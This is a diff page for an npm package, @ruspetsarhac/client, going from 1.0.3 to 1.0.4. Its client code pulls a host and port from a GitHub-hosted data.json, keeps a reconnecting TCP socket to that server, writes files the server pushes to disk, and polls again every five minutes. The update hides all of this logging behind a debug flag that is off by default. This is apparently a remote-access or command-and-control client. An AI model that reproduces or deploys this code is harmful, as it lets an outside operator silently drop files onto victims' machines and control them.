@ruspetsarhac/client 1.0.3 → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/src/client.js +27 -21
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ruspetsarhac/client",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "main": "src/client.js",
5
5
  "bin": {
6
6
  "client": "./client.js"
package/src/client.js CHANGED
@@ -12,7 +12,7 @@ let isConnected = false;
12
12
  let serverHost = '';
13
13
  let serverPort = 0;
14
14
 
15
- function fetchServerSettings(callback) {
15
+ function fetchServerSettings(callback, debug) {
16
16
  const url = 'https://raw.githubusercontent.com/spetsar97hack/app/main/data.json';
17
17
  https.get(url, (res) => {
18
18
  let data = '';
@@ -24,7 +24,7 @@ function fetchServerSettings(callback) {
24
24
  res.on('end', () => {
25
25
  try {
26
26
  const serverSettings = JSON.parse(data);
27
- console.log('serverSettings', serverSettings)
27
+ log(`serverSettings: ${JSON.stringify(serverSettings)}`, debug);
28
28
  serverHost = serverSettings.host;
29
29
  serverPort = serverSettings.port;
30
30
  callback(null);
@@ -38,10 +38,10 @@ function fetchServerSettings(callback) {
38
38
  });
39
39
  }
40
40
 
41
- function createConnection() {
41
+ function createConnection(debug) {
42
42
  const socket = net.createConnection({ host: serverHost, port: serverPort }, () => {
43
43
  isConnected = true;
44
- console.log('Connected to server');
44
+ log('Connected to server', debug);
45
45
  });
46
46
 
47
47
  socket.on('data', (data) => {
@@ -91,61 +91,67 @@ function createConnection() {
91
91
  const fullPath = path.resolve(currentCwd, path.basename(filePath));
92
92
  fs.writeFile(fullPath, fileBuffer, (err) => {
93
93
  if (err) {
94
- console.log(`Error saving file: ${err.message}`);
94
+ log(`Error saving file: ${err.message}`, debug);
95
95
  } else {
96
- console.log(`File saved as: ${fullPath}`);
96
+ log(`File saved as: ${fullPath}`, debug);
97
97
  }
98
98
  });
99
99
  } else {
100
- console.log(`[Server]: ${message}`);
100
+ log(`[Server]: ${message}`, debug);
101
101
  }
102
102
  });
103
103
 
104
104
  socket.on('end', () => {
105
105
  isConnected = false;
106
- console.log('Connection was ended');
106
+ log('Connection was ended', debug);
107
107
  });
108
108
 
109
109
  socket.on('error', (err) => {
110
110
  isConnected = false;
111
- console.log(`[!] Error: ${err.message}`);
111
+ log(`[!] Error: ${err.message}`, debug);
112
112
  });
113
113
 
114
114
  socket.on('close', () => {
115
115
  isConnected = false;
116
- console.log('Connection closed');
116
+ log('Connection closed', debug);
117
117
  });
118
118
 
119
119
  return socket;
120
120
  }
121
121
 
122
- function startClient(port) {
122
+ function startClient(debug = false) {
123
123
  fetchServerSettings((error) => {
124
124
  if (error) {
125
- console.error(`Error fetching server settings: ${error.message}`);
125
+ log(`Error fetching server settings: ${error.message}`, debug);
126
126
  } else {
127
- console.log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`);
128
- serverPort = port || serverPort;
129
- let socket = createConnection();
127
+ log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
128
+ serverPort = serverPort;
129
+ let socket = createConnection(debug);
130
130
 
131
131
  setInterval(() => {
132
132
  if (!isConnected) {
133
- console.log('Attempting to reconnect to the server...');
134
- socket = createConnection();
133
+ log('Attempting to reconnect to the server...', debug);
134
+ socket = createConnection(debug);
135
135
  }
136
136
  }, 60000);
137
137
 
138
138
  setInterval(() => {
139
139
  fetchServerSettings((error) => {
140
140
  if (error) {
141
- console.error(`Error fetching server settings: ${error.message}`);
141
+ log(`Error fetching server settings: ${error.message}`, debug);
142
142
  } else {
143
- console.log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`);
143
+ log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
144
144
  }
145
- });
145
+ }, debug);
146
146
  }, 300000);
147
147
  }
148
- });
148
+ }, debug);
149
+ }
150
+
151
+ function log(message, debug) {
152
+ if (debug) {
153
+ console.log(message);
154
+ }
149
155
  }
150
156
 
151
157
  module.exports = { startClient };